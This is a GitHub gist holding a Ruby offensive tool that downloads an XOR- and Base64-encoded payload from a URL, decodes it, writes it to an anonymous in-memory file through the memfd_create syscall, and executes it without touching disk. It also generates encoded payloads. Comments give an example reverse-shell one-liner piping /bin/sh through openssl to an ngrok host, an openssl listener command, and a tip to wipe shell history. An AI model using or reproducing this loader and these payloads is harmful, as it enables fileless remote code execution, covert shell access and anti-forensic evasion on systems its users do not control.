Skip to content

Instantly share code, notes, and snippets.

@dualfade
Created November 20, 2022 22:29
Show Gist options
  • Save dualfade/a30e26e4505daa9b05a283b2330ed812 to your computer and use it in GitHub Desktop.
Save dualfade/a30e26e4505daa9b05a283b2330ed812 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
# typed: false
# dualfade --
# memfd_create_rssl.rb --
# NOTE: from sorbet --
# https://sorbet.org/docs/adopting --
# gem 'sorbet-static-and-runtime'
# gem 'tapioca', require: false, :group => :development
# -> bundle exec tapioca init
require 'bundler/inline'
gemfile do
source 'https://rubygems.org'
gem 'sorbet-runtime', require: true
gem 'slop', require: true
gem 'logger', require: true
gem 'base64', require: true
gem 'uri', require: true
gem 'httparty', require: true
end
# logger opts --
logger = Logger.new($stdout)
original_formatter = Logger::Formatter.new
logger.formatter = proc { |severity, datetime, progname, msg|
original_formatter.call(severity, datetime, progname, msg.dump)
}
# syscall class --
class MakeSyscall
extend T::Sig
sig { params(payload: String).returns(Integer) }
def self.do_initiate(payload)
# make direct syscall to sys_memfd_create; create
# handler and write the payload too it.
# torvalds -> syscalls/syscall_64.tbl
# https://bit.ly/2HGJWAQ --
# class logger instance --
@logger = Logger.new($stdout)
# instance var --
@payload = payload
begin
anon_fname = ''
fd = syscall(319, anon_fname, 0)
fd.to_i
# if sys_memfd_create fails, rescue; log --
rescue IOError => e
@logger.error(format('received exception %s', e))
end
end
sig { params(fdid: Integer).returns(String) }
def self.do_fdwrite(fdid)
# write the payload to the memfd file
# descriptor --
# instance var --
@fd = fdid
begin
slink = format('/proc/self/fd/%d', @fd)
@logger.info(format('writing memfd payload => %s', slink))
s = File.open(slink, 'w')
s.write(@payload)
s.close
# readlink; verify output --
o = File.readlines(slink)
@logger.info(format('reading symbolic link => %s', o))
# errs --
rescue IOError => e
@logger.error(format('recieved exception %s', e))
end
# ret; exec --
slink.to_s
end
end
def do_uri(url)
# fetch remote payload and store in memory --
# set headers --
headers = {
headers: {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Content-Type' => 'application/x-www-form-urlencoded'
}
}
begin
# make request; store resp; ret --
HTTParty.get(url, headers)
# errs --
rescue IOError => e
@logger.error(format('recieved exception %s', e))
end
end
# NOTE: https://docs.ruby-lang.org/en/3.0/OpenSSL.html --
# start SSL functions; gen certs and so on --
def do_openssl
# gen certs placeholder --
end
# xor class --
class Xor
# basic xor encrypt and decrypt functions;
# this data will be written to the memfd descriptor
# and then executed in memory --
extend T::Sig
def initialize(data, xkey)
@data = data
@xkey = xkey
end
# https://sorbet.org/docs/sigs --
sig { params(data: String, xkey: String).returns(String) }
def self.do_xorify(data, xkey)
# encrypt / decrypt xor functions --
# https://bit.ly/3gaVoYW
key = xkey
result = ''
codepoints = data.each_codepoint.to_a
codepoints.each_index do |i|
result += (codepoints[i] ^ key[i % key.size].ord).chr
end
result
end
end
def do_generate_payload(gen_enc_payload, xkey)
# generate xor encoded payload --
logger = Logger.new($stdout)
# use key; xor; encode and return --
x = Xor.do_xorify(gen_enc_payload, xkey)
u = Base64.strict_encode64(x)
logger.info(format('host payload => %s', u.to_s))
logger.info('exiting')
end
# errs --
def error(message)
logger = Logger.new($stdout)
logger.info(format('%s', message))
end
# main --
if __FILE__ == $PROGRAM_NAME
# get opts; start main funcs --
begin
opts = Slop.parse do |o|
# get opts --
o.string('-u', '--url', 'payload url')
o.string('-g', '--generate', 'generate encoded payload')
o.string('-k', '--xorkey', 'random xor key')
o.on('-h', '--help', 'help: this menu') do
puts(o)
exit
end
end
# assign vars --
url = (opts[:url])
gen_payload = (opts[:generate])
xkey = (opts[:xorkey])
# call funcs --
# ref-> https://gtfobins.github.io/gtfobins/openssl/ --
# ex payload -> 'mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 0.tcp.ngrok.io:15889 > /tmp/s; rm /tmp/s'
# do things -> gen pem certs; echo $SHELL; ln -sf /dev/null /dev/null ~/.zsh_history etc
# ex listener -> 'rlwrap -Arc openssl s_server -quiet -key server.key -cert server.pem -port 8443'
if opts[:generate]
do_generate_payload(gen_payload, xkey)
else
resp = do_uri(url)
logger.info(format('resp => %s', resp))
# decode; decrypt to memfd --
x = Base64.strict_decode64(resp.to_s)
y = Xor.do_xorify(x, xkey)
logger.info(format('decoded payload => %s', y))
# decrypt in mem; write; exec --
r = MakeSyscall.do_initiate(y)
f = MakeSyscall.do_fdwrite(r)
exec(f)
end
# errs --
rescue Slop::Error => e
logger.error(e)
rescue StandardError => e
logger.error(e)
end
end
# __eof__
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment